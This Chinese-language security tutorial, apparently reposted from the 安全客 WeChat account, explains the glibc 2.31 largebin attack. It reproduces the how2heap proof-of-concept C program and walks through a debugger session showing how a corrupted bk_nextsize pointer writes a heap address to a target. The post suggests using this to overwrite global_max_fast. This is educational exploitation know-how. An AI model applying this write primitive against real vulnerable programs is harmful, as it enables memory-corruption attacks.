【技术分享】Largebin Attack for Glibc 2.31

admin 2023年4月4日13:15:06评论6 views字数 5206阅读17分21秒阅读模式

【技术分享】Largebin Attack for Glibc 2.31


【技术分享】Largebin Attack for Glibc 2.31

【技术分享】Largebin Attack for Glibc 2.31

最近的题目很多都用到了这种攻击方式,那么就来学习一下,利用该技术能实现向目标地址写一个大值。正好用 how2heap 的例子,并且从源码调试上来学习。


【技术分享】Largebin Attack for Glibc 2.31

新增保护

【技术分享】Largebin Attack for Glibc 2.31

新版本下新增了两个检查。

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

导致我们传统的largebin attack没法使用了。我们就来调试看看新的largebin attack手法是如何实现的。

关于实现利用的代码如下:

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){    fwd = bck;    bck = bck->bk;    victim->fd_nextsize = fwd->fd;    victim->bk_nextsize = fwd->fd->bk_nextsize;    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}

 

【技术分享】Largebin Attack for Glibc 2.31

源代码

【技术分享】Largebin Attack for Glibc 2.31

首先放一下我们的源代码,这里没有做任何修改。

#include<stdio.h>#include<stdlib.h>#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }

*/
int main(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("nn"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertionnn"); printf("Check 1 : n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))n"); printf("> malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");n"); printf("Check 2 : n"); printf("> if (bck->fd != fwd)n"); printf("> malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");nn"); printf("This prevents the traditional large bin attackn"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : nn");
printf("====================================================================nn");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lunn",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidaten");
printf("n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidaten");
printf("n");
free(p1); printf("Free the larger of the two --> [p1] (%p)n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large binn");
printf("n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)n",p2-2);
printf("n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)n",(&target)-4);
printf("n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large binn", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,n"); printf(" the modified p1->bk_nextsize does not trigger any errorn"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)n", p2-2, p1-2, p2-2);
printf("n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)n", p2-2, (void *)target); printf("Target (%p) : %pn",&target,(size_t*)target);
printf("n"); printf("====================================================================nn");
assert((size_t)(p2-2) == target);
return 0;}


【技术分享】Largebin Attack for Glibc 2.31

调试

【技术分享】Largebin Attack for Glibc 2.31

为了能够看到在malloc中到底执行了什么,我们在当前目录下放入malloc.c,也就是放入malloc的源码。

首先我们断在下面的位置看下此时堆块的布局。

size_t *p1 = malloc(0x428);  size_t *g1 = malloc(0x18);  size_t *p2 = malloc(0x418);  size_t *g2 = malloc(0x18);

【技术分享】Largebin Attack for Glibc 2.31

这里的 g1 和 g2 是为了防止两个大的 chunk 释放的时候合并。

此时我们释放我们的 p1,此时会进入unsorted bin中。

【技术分享】Largebin Attack for Glibc 2.31

此时我们再分配一个比 p1 大的 chunk,这样会让 p1 进入 largebin 中。如果这里小了会切割 p1,所以要比 p1,才能让他进入 largebin 中。

【技术分享】Largebin Attack for Glibc 2.31

然后我们在 free p2,此时 p2 就会被放入到 unsorted bin中。

【技术分享】Largebin Attack for Glibc 2.31

此时我们修改 p1 的 bk_nextsize 指向 target-0x20,此时 p1 在 largebin 里。

修改前的 p1:

【技术分享】Largebin Attack for Glibc 2.31

修改后的 p1:

【技术分享】Largebin Attack for Glibc 2.31

看下我们的 target-0x20。

【技术分享】Largebin Attack for Glibc 2.31

然后我们再 malloc 一个比 p2 大的 chunk(此时 p2 在 unsorted bin 里),那么此时,就会将 p2 从 unsorted bin 取出,放入到 largebin 里,那么就存在如下代码。

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){    fwd = bck;    bck = bck->bk;    victim->fd_nextsize = fwd->fd;    victim->bk_nextsize = fwd->fd->bk_nextsize;    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}

最关键就是最后一步,让我们看看到底发生了什么。

我们一路跟进,直到进入_int_malloc中。

【技术分享】Largebin Attack for Glibc 2.31

我们在源码 malloc.c 中定位到关键代码的位置,因为我们的 p2 的 size 小于 bck->bk( largebin 中最小 size 的chunk )。

【技术分享】Largebin Attack for Glibc 2.31

然后打下断点。

【技术分享】Largebin Attack for Glibc 2.31

然后 c 继续执行,就会停在关键的位置。

【技术分享】Largebin Attack for Glibc 2.31

调试就可以知道在这段关键代码中,victim 是我们的 p2,fwd 为 largebin 的链表头,bck为 largebin 中的最后一个chunk,也就是最小的那个,也就是我们这里的 p1。

【技术分享】Largebin Attack for Glibc 2.31

然后就是下面的三条指令。

victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

翻译过来就是下面这样。

p2->fd_nextsize = &p1p2->bk_nextsize = p1->bk_nextsizep1->bk_nextsize = (target-0x20)->fd_nextsize = victim

前两条指令执行完之前:

【技术分享】Largebin Attack for Glibc 2.31

前两条指令执行完之后:

【技术分享】Largebin Attack for Glibc 2.31

然后我们注意下第三条指令的(target-0x20)->fd_nextsize = victim

这里 0x20 和 fd_nextsize是可以抵销的,也就是说此时我们可以将victim也就是一个堆的地址写在 target 上,这就是我们的 目标地址写一个大值,我们来验证下。

【技术分享】Largebin Attack for Glibc 2.31

从上图我们看到原先我们的 (target-0x20)->fd_nextsize的值为 0。当执行完第三条指令后。

【技术分享】Largebin Attack for Glibc 2.31

可以看到我们的fd_nextsize的位置已经写上了 victim 。

 

【技术分享】Largebin Attack for Glibc 2.31

总结

【技术分享】Largebin Attack for Glibc 2.31

通常而言,这种写大数的行为,我们可以用来修改global_max_fast。这里为什么想到的,估计是根据victim->bk_nextsize可控,那么victim->bk_nextsize->fd_nextsize可控就能写入一个vitcim。那么为什么victim->bk_nextsize,反推回去就是fwd->fd->bk_nextsize可控,这个可控翻译过来其实就是 largebin 中链表尾部,也就是最小的那个 chunk 的 bk_nextsize 可控,然后再其中写入 目标地址-0x20。

【技术分享】Largebin Attack for Glibc 2.31

- 结尾 -
精彩推荐
【技术分享】shiro550漏洞复现与研究
【技术分享】pocassist—全新的开源在线poc测试框架
【技术分享】从0到1——Hook内核系统调用
【技术分享】Largebin Attack for Glibc 2.31
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】Largebin Attack for Glibc 2.31

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月4日13:15:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】Largebin Attack for Glibc 2.31http://cn-sec.com/archives/1652035.html

发表评论

匿名网友 填写信息